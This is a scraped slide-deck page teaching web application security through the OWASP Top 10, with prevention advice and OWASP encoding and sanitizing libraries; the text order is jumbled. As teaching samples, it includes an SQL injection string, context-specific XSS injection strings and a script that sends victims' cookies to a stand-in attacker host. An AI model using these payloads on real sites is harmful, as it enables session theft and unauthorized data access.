site. To facilitate this, some pages use a parameter to indicate where the user
should be sent if a transaction is successful. In this case, the attacker crafts a URL
that will pass the application’s access control check and then forwards the
attacker to administrative functionality for which the attacker isn’t authorized.
http://www.example.com/boring.jsp?fwd=admin.jsp
The End

Mais conteúdo relacionado

Mais procurados

OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
Marco Morana
 
Hack applications
Hack applicationsHack applications
Hack applications
enrizmoore
 

Mais procurados (20)

OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
S5-Authorization
S5-AuthorizationS5-Authorization
S5-Authorization
 
Session7-XSS & CSRF
Session7-XSS & CSRFSession7-XSS & CSRF
Session7-XSS & CSRF
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Common Web Application Attacks
Common Web Application Attacks Common Web Application Attacks
Common Web Application Attacks
 
A10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and ForwardsA10 - Unvalidated Redirects and Forwards
A10 - Unvalidated Redirects and Forwards
 
S8-Session Managment
S8-Session ManagmentS8-Session Managment
S8-Session Managment
 
Threat modeling driven security testing
Threat modeling driven security testingThreat modeling driven security testing
Threat modeling driven security testing
 
OWASP Top 10 (2010 release candidate 1)
OWASP Top 10 (2010 release candidate 1)OWASP Top 10 (2010 release candidate 1)
OWASP Top 10 (2010 release candidate 1)
 
Hack applications
Hack applicationsHack applications
Hack applications
 
Automated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation VulnerabilitiesAutomated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation Vulnerabilities
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 
Vulnerabilities in Web Applications
Vulnerabilities in Web ApplicationsVulnerabilities in Web Applications
Vulnerabilities in Web Applications
 
Web application security I
Web application security IWeb application security I
Web application security I
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
ieee
ieeeieee
ieee
 
OWASP Top 10
OWASP Top 10OWASP Top 10
OWASP Top 10
 

Destaque

Destaque (20)

Web application Security
Web application SecurityWeb application Security
Web application Security
 
OWASP Top 10 Overview
OWASP Top 10 OverviewOWASP Top 10 Overview
OWASP Top 10 Overview
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
End to end web security
End to end web securityEnd to end web security
End to end web security
 
Web security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutionsWeb security: OWASP project, CSRF threat and solutions
Web security: OWASP project, CSRF threat and solutions
 
Secure Password Storage & Management
Secure Password Storage & ManagementSecure Password Storage & Management
Secure Password Storage & Management
 
Threat Modeling for Web Applications (and other duties as assigned)
Threat Modeling for Web Applications (and other duties as assigned)Threat Modeling for Web Applications (and other duties as assigned)
Threat Modeling for Web Applications (and other duties as assigned)
 
[Wroclaw #1] Android Security Workshop
[Wroclaw #1] Android Security Workshop[Wroclaw #1] Android Security Workshop
[Wroclaw #1] Android Security Workshop
 
Owasp Top 10
Owasp Top 10Owasp Top 10
Owasp Top 10
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
Android Security Development - Part 2: Malicious Android App Dynamic Analyzi...
 
[Wroclaw #5] OWASP Projects: beyond Top 10
[Wroclaw #5] OWASP Projects: beyond Top 10[Wroclaw #5] OWASP Projects: beyond Top 10
[Wroclaw #5] OWASP Projects: beyond Top 10
 
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
Consulthink @ GDG Meets U -  L'Aquila2014  - Codelab: Android Security -Il ke...Consulthink @ GDG Meets U -  L'Aquila2014  - Codelab: Android Security -Il ke...
Consulthink @ GDG Meets U - L'Aquila2014 - Codelab: Android Security -Il ke...
 
2015.04.24 Updated > Android Security Development - Part 1: App Development
2015.04.24 Updated > Android Security Development - Part 1: App Development 2015.04.24 Updated > Android Security Development - Part 1: App Development
2015.04.24 Updated > Android Security Development - Part 1: App Development
 
Android Security & Penetration Testing
Android Security & Penetration TestingAndroid Security & Penetration Testing
Android Security & Penetration Testing
 
Deep Dive Into Android Security
Deep Dive Into Android SecurityDeep Dive Into Android Security
Deep Dive Into Android Security
 
Testing Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam editionTesting Android Security Codemotion Amsterdam edition
Testing Android Security Codemotion Amsterdam edition
 
Brief Tour about Android Security
Brief Tour about Android SecurityBrief Tour about Android Security
Brief Tour about Android Security
 
Android Security Development
Android Security DevelopmentAndroid Security Development
Android Security Development
 

Semelhante a Owasp web security

Unisys_AppDefender_Symantec_CFD_0_1_final
Unisys_AppDefender_Symantec_CFD_0_1_finalUnisys_AppDefender_Symantec_CFD_0_1_final
Unisys_AppDefender_Symantec_CFD_0_1_final
Koko Fontana
 
Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
 Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1... Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
WebStackAcademy
 

Semelhante a Owasp web security (20)

Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
Secure Software Engineering
Secure Software EngineeringSecure Software Engineering
Secure Software Engineering
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Hacking web applications
Hacking web applicationsHacking web applications
Hacking web applications
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
Security Testing Training With Examples
Security Testing Training With ExamplesSecurity Testing Training With Examples
Security Testing Training With Examples
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Unisys_AppDefender_Symantec_CFD_0_1_final
Unisys_AppDefender_Symantec_CFD_0_1_finalUnisys_AppDefender_Symantec_CFD_0_1_final
Unisys_AppDefender_Symantec_CFD_0_1_final
 
Owasp Top 10 2017
Owasp Top 10 2017Owasp Top 10 2017
Owasp Top 10 2017
 
Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
 Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1... Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
Web Component Development Using Servlet & JSP Technologies (EE6) - Chapter 1...
 
Owasp top 10
Owasp top 10Owasp top 10
Owasp top 10
 
Application Security - Your Success Depends on it
Application Security - Your Success Depends on itApplication Security - Your Success Depends on it
Application Security - Your Success Depends on it
 
Joomla web application development vulnerabilities
Joomla web application development vulnerabilitiesJoomla web application development vulnerabilities
Joomla web application development vulnerabilities
 
Security testing
Security testingSecurity testing
Security testing
 
OWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web DevelopersOWASP Top 10 List Overview for Web Developers
OWASP Top 10 List Overview for Web Developers
 
gpt.AI.docx
gpt.AI.docxgpt.AI.docx
gpt.AI.docx
 
Web and Mobile Application Security
Web and Mobile Application SecurityWeb and Mobile Application Security
Web and Mobile Application Security
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 

Último

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Victor Rentea
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Último (20)

[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
Apidays New York 2024 - Passkeys: Developing APIs to enable passwordless auth...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Platformless Horizons for Digital Adaptability
Platformless Horizons for Digital AdaptabilityPlatformless Horizons for Digital Adaptability
Platformless Horizons for Digital Adaptability
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 

Owasp web security

  • 1. Web Security  Pankaj kSharma  rpspankaj2010@gmail.com
  • 2. Open source community focusing on web application security OWASP Top Ten – identifies the most critical and common risks http://www.owasp.org/
  • 4. OWASP Top 10 Application Security Risks – 2013
  • 5. OWASP Top 10 Application Security Risks – 2013
  • 6. A1 Injection Am I Vulnerable To Injection? • Verify that your application validates all data that is passed between Java code and native code. • Unchecked input and/or output can lead to buffer overflows, injection based attacks such as SQL injection, os injection, xxe injection etc., that exploit weaknesses in the application. How to Check ? • Due to the security risk posed by the use of native code, verify that your application validates data that is passed between native code and Java. 1) Check if language boundaries are clearly defined. 2) Verify the quality of your application's validators. 3) Verify that all data is validated. 4) Ensure that data validation code is centralized. • Program with Solution –for SQL injection, os injection, xxe injection.
  • 7. Example Attack Scenarios Scenario#1: The application uses untrusted data in the construction of the following vulnerable SQL call: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)): Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'"); In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1. For example: http://example.com/app/accountView?id=' or '1'='1 This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.
  • 8. A2 Broken Authentication and Session Management Am I Vulnerable to Hijacking? • Ensure that the account administration interface is separate from the main application interface. • Account administration requires higher privileges than the main application interface. Separating the two interfaces decreases the risk of a normal user being able to escalate privileges to that of an administrator. How to Check ? 1.Verify that your application has a separate administrative interface. Review your application's design and verify that your application's design specifies separation of administrative and main application interfaces.
  • 9. A2 Broken Authentication and Session Management 2.Administrative Functionality: Verify that all administrative functionality is clearly identified and separated from the rest of your application's functionality. Exceptions are allowed only when your application allows users to modify their own accounts. 3.Code Organization: Ensure all administrative functionality is structured as a single module and not scattered throughout your application. 4.Code Inheritance: Verify that all Java classes that handle your application's administrative tasks are declared as final. Example: public final class myappAcctAdmin { ... } 5.Hosting Container: Verify that all administrative functionality operates within a Java container or a JVM that is separate from the rest of your application. Depending on the application server that your application uses, it might be necessary to run multiple instances of the application server. Additionally, check if your administrative interface operates on a different port than the rest of your application.
  • 10. A2 Broken Authentication and Session Management Ensure that the administrative interface is secure. Use the following steps to examine the security of your application's administrative interface: Security Policy: Ensure that your application has a security policy regarding its administrative interface. Separate Authentication: Verify that privileged users are forced to re-authenticate before accessing the administrative interface. Check if your application's administrative interface uses a separate authentication module from the rest of your application. Access Controls: Verify that only valid, privileged users can access your application's administrative interface. Connection: Depending on your application's requirements, it may be necessary to check if your application's administrative interface is accessed over SSL. Ensure your application's proper use of SSL.
  • 11. A2 Broken Authentication and Session Management Use the following steps when designing an administrative interface: Only privileged users can administer all accounts. Design your application such that the administrative module is separate from the main application interface. Since the separation requires using separate authentication mechanisms for the application and its administration, there is a reduced risk of escalation-of-privilege attacks. Users may be allowed to administer their own accounts. It may be necessary to allow users to administer their own accounts. This involves the ability to change passwords, account details, etc. Such administration can be done through the main application interface. Because the user is modifying sensitive data, extra security precautions must be enforced: Session management implemented in server side code. Force re-authentication: Enforce re-authentication when modifying the user's password. This helps verify that the user is aware of the password change and is not a victim of a session hijacking. Modify accounts in sections Use SSL when modifying accounts: If SSL is implemented correctly, it can verify the authenticity of the application. It can also encrypt traffic and hence provide confidentiality.
  • 12. Example Attack Scenarios Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL: http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link, they will use his session and credit card. Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated. Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker.
  • 13. A3 Cross-Site Scripting (XSS) Am I Vulnerable to XSS?
  • 15. Anatomy of a XSS Attack (bad stuff) <script>window.location=‘https:// evileviljim.com/unc/data=‘ + document.cookie;</script> <script>document.body.innerHTML=‘<blink> EOIN IS COOL</blink>’;</script>
  • 16.
  • 17. Input Example Consider the following URL: www.example.com/saveComment?comment=Great+Site! How can an attacker misuse this?
  • 18. XSS Variants REFLECTED XSS  Data provided by a client is immediately used by server‐side scripts to generate a page of results for that user.  Search engines STORED XSS  Data provided by a client is first stored persistently on the server (e.g., in a database, filesystem), and later displayed to users.  Bulletin Boards, Forums, Blog Comments. DOM XSS  A page's client‐side script itself accesses a URL request parameter and uses this information to dynamically write some HTML to its own page.  DOM XSS is triggered when a victim interacts with a web page directly without causing the page to reload.  Difficult to test with scanners and proxy tools – why?
  • 20. Reflected XSS //Search.aspx.cs public partial class_Default : System.Web.UI.Page { Label lblResults; protected void Page_Load(object sender, EventArgs e) { //..doSearch(); this.lblResults.Text = "YouSearchedFor“ + Request.QueryString["query”]; } OK: http://app.com/Search.aspx?query=soccer NOT OK: http://app.com/Search.aspx?query=<script?..</script>
  • 22. Persistent/Stored XSS <% int id = Integer.parseInt(request.getParameter("id")); String query = "select * from forum where id=" + id; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query); If (rs != null) { rs.next (); String comment = rs.getString (“comment"); %> User Comment : <%= comment %> <% } %>
  • 24. DOM-Based XSS <HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos = document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system </HTML OK: http://a.com/page.htm?name=Joe NOT OK: http://a.com/page.htm?name=<script>...</script>
  • 25. Test for Cross-Site Scripting
  • 26. Test for Cross-Site Scripting
  • 27. Test for Cross-Site Scripting
  • 28. Past XSS Defensive Strategies • 1990’s style XSS prevention – Eliminate <, >, &, ", ' characters? – Eliminate all special characters? – Disallow user input? – Global filter? • Why won't these strategies work?
  • 30. Past XSS Defensive Strategies • Y2K style XSS prevention – HTML Entity Encoding – Replace characters with their 'HTML Entity’ equivalent – Example: replace the "<“ character with "&lt;” • Why won't this strategy work?
  • 31. XSS Defense, 2000 Why won't this strategy work?
  • 32. Danger: Multiple Contexts Browsers have multiple contexts that must be considered!
  • 33. Past XSS Defensive Strategies 1. All untrusted data must first be canonicalized – Reduced to simplest form 2. All untrusted data must be validated – Positive Regular Expressions – Black list Validation 3. All untrusted data must be contextually encoded – HTML Body – Quoted HTML Attribute – Unquoted HTML Attribute – Untrusted URL – Untrusted GET parameter – CSS style value – JavaScript variable assignment
  • 34. XSS Defense, 2007 Why won't this strategy work?
  • 35. ESAPI CSS Encoder Pwnd From: Abe [mailto: abek1 at sbcglobal.net ] Sent: Thursday, February 12, 2009 3:56 AM Subject: RE: ESAP and CSS vulnerability/problem I got some bad news
  • 36. CSS Pwnage Test Case <div style="width:<%=temp3%>;"Mouseover</div> temp3ESAPI.encoder().encodeForCSS("expression(alert (String.fromCharCode(88,88)))"); <div style="width: expression28 alert28 String2e fromCharCode2028882c882c88292929;“> Mouse over</div> Pops in at least IE6 andIE7. lists.owasp.org/pipermail/owasp-esapi /2009-February/000405.html
  • 37. Simplified DOM Based XSS Defense 1.Initial loaded page should only be static content. 2.Load JSON data via AJAX. 3.Only use the following methods to populate the DOM • Node.textContent • document.createTextNode • Element.setAribute References: http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_th ree.htmlandAbeKang
  • 38. Dom XSS Oversimplification Danger Element.setAttribute is one of the most dangerous JS methods If the first element to setAttribute is any of the JavaScript event handlers or a URL context based attribute ("src", "href", "backgroundImage", "backgound", etc.) then pop. References: http://www.educatedguesswork.org/2011/08/guest_post_adam_barth_on_th ree.html and Abe Kang
  • 39. Today
  • 40. <
  • 41. &lt;
  • 42. Safe ways to represent dangerous characters in a web page
  • 43. XSS Defense by Data Type and Context Safe HTML attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 44. HTML Body Context <span>UNTRUSTED DATA</span> attack <script>/* bad stuff */</script>
  • 45. HTML Attribute Context <input type="text“ name="fname" value="UNTRUSTED DATA"> attack: "><script>/*bad stuff */</script>
  • 46. HTTP GET Parameter Context <a href="/site/search?value=UNTRUSTED DATA">clickme</a> attack: "onclick="/*bad stuff */"
  • 47. URL Context <a href="UNTRUSTED URL">clickme</a> <iframe src="UNTRUSTED URL“ /> attack: javascript:/* BAD STUFF */
  • 48. Handling Untrusted URL’s 1) Validate to ensure the string is a valid URL 2) Avoid Javascript: URL’s(whitelisHTTP://or HTTPS://URL’s) 3) Check the URL for malware 4) Encode URL in the right context of display <a href="UNTRUSTED URL">UNTRUSTED URL</a>
  • 49. CSS Value Context <div style="width: UNTRUSTED DATA;">Selection</div> attack: expression(/* BAD STUFF */)
  • 50. JavaScript Variable Context <script> var currentValue='UNTRUSTED DATA’; someFunction('UNTRUSTED DATA'); </script> attack: ');/* BAD STUFF */
  • 52. Solving Real World XSS Problems in Java with OWASP Libraries
  • 53. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary. • This code was designed for high-availability/high-performance encoding functionality. • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component • encoding, etc) in some regards. • This is a Java 1.5 project. • Will be the default encoder in the next revision of • ESAPI. • Last updated February 14, 2013 (version 1.1)
  • 54. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
  • 55. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third pares in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owaspjavhtmlsanitizer/ wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration (seebelow). No XML config. • Actively maintained by Mike Samuel from Google's AppSecteam! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 56.
  • 57. Solving Real World Problems with the OWASP HTML Sanitizer Project
  • 58. OWASP JSON Sanitizer Project https://www.owasp.org/index.php/OWASP_JSON_Sanitizer • Given JSON-like content, converts it to valid JSON. • This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others. • Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. • Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
  • 59. Solving Real World Problems with the OWASP JSON Sanitizer Project
  • 60.
  • 61.
  • 63. Context Aware Auto-Escaping • Context-Sensitive Auto-Sanitization(CSAS) from Google – Runs during the compilation stage of the Google Closure Templates to add proper sanitization and runtime checks to ensure the correct sanitization. • Java XML Templates(JXT) from OWASP by Jeff Ichnowski – Fast and secure XHTML-compliant context-aware auto- encoding template language that runs on a model similar to JSP.
  • 64. Auto Escaping Tradeoffs • Developers need to write highly complaint templates. - No “free and loose” coding like JSP - Requires extra time but increases quality. • These technologies often do not support complex contexts. - Some are not context aware (really really bad). - Some choose to let developers disable auto-escaping on a case-by- case basis(really bad). - Some choose to encode wrong ( bad). - Some choose to reject the template (better).
  • 65. Content Security Policy • Anti-XSS W3C standard • Content Security Policy latest release version • http://www.w3.org/TR/CSP/ • Must move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
  • 66. Get rid of XSS, eh? A script-src directive that doesn’t contain unsafe-inline eliminates a huge class of cross site scripting. I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
  • 67. Real world CSP in ac7on
  • 68. What does this report look like? { "csp-‐report"=> { "document-‐uri"=>"hcp://localhost:3000/home", "referrer"=>"", "blocked-‐uri"=>"ws://localhost:35729/livereload", "violated-‐direc7ve"=>"xhr-‐src ws://localhost.twicer.com:*" } }
  • 69. What does this report look like? { "csp-‐report"=> { "document-‐uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-‐uri"=>"self", "violated-‐direc7ve"=>"inline script base restriction", "source-‐file"=>"http://example.com/welcome", "script-‐sample"=>"alert(1)", "line-‐number"=>81 } }
  • 71. A4 Insecure Direct Object References Insecure Direct Object Reference is when a web application exposes an internal implementation object to the user. Some examples of internal implementation objects are database records, URLs, or files. An attacker can modify the internal implementation object in an attempt to abuse the access controls on this object. When the attacker does this they may have the ability to access functionality that the developer didn't Intend to expose access to. For instance, if the attacker notices the URL: http://misc-security.com/file.jsp?file=report.txt
  • 72. Am I Vulnerable? The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider: 1.For direct references to restricted resources, does the application fail to verify the user is authorized to access the exact resource they have requested? 2.If the reference is an indirect reference, does the mapping to the direct reference fail to limit the values to those authorized for the current user? • Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.
  • 73. How Do I Prevent This? Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename): 1.Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references. 2.Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.
  • 74. Example Attack Scenario The application uses unverified data in a SQL call that is accessing account information: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStatement(query , … ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); The attacker simply modifies the ‘acct’ parameter in her browser to send whatever account number she wants. If not properly verified, the attacker can access any user’s account, instead of only the intended customer’s account. http://example.com/app/accountInfo?acct=notmyacct
  • 75. A5 Security Misconfiguration Is your application missing the proper security hardening across any part of the application stack? Including: 1.Is any of your software out of date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries (see new A9). 2.Are any unnecessary features enabled or installed (e.g., ports, services, pages, accounts, privileges)? 3.Are default accounts and their passwords still enabled and unchanged? 4.Does your error handling reveal stack traces or other overly informative error messages to users? 5.Are the security settings in your development frameworks (e.g., Struts, Spring, ASP.NET) and libraries not set to secure values? Without a concerted, repeatable application security configuration process, systems are at a higher risk.
  • 76. How Do I Prevent This? The primary recommendations are to establish all of the following: 1.A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically (with different passwords used in each environment). This process should be automated to minimize the effort required to setup a new secure environment. 2.A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries as well (see new A9). 3.A strong application architecture that provides effective, secure separation between components. 4.Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.
  • 77. Example Attack Scenarios Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over. Scenario #2: Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she decompiles and reverse engineers to get all your custom code. She then finds a serious access control flaw in your application. Scenario #3: App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide. Scenario #4: App server comes with sample applications that are not removed from your production server. Said sample applications have well known security flaws attackers can use to compromise your server.
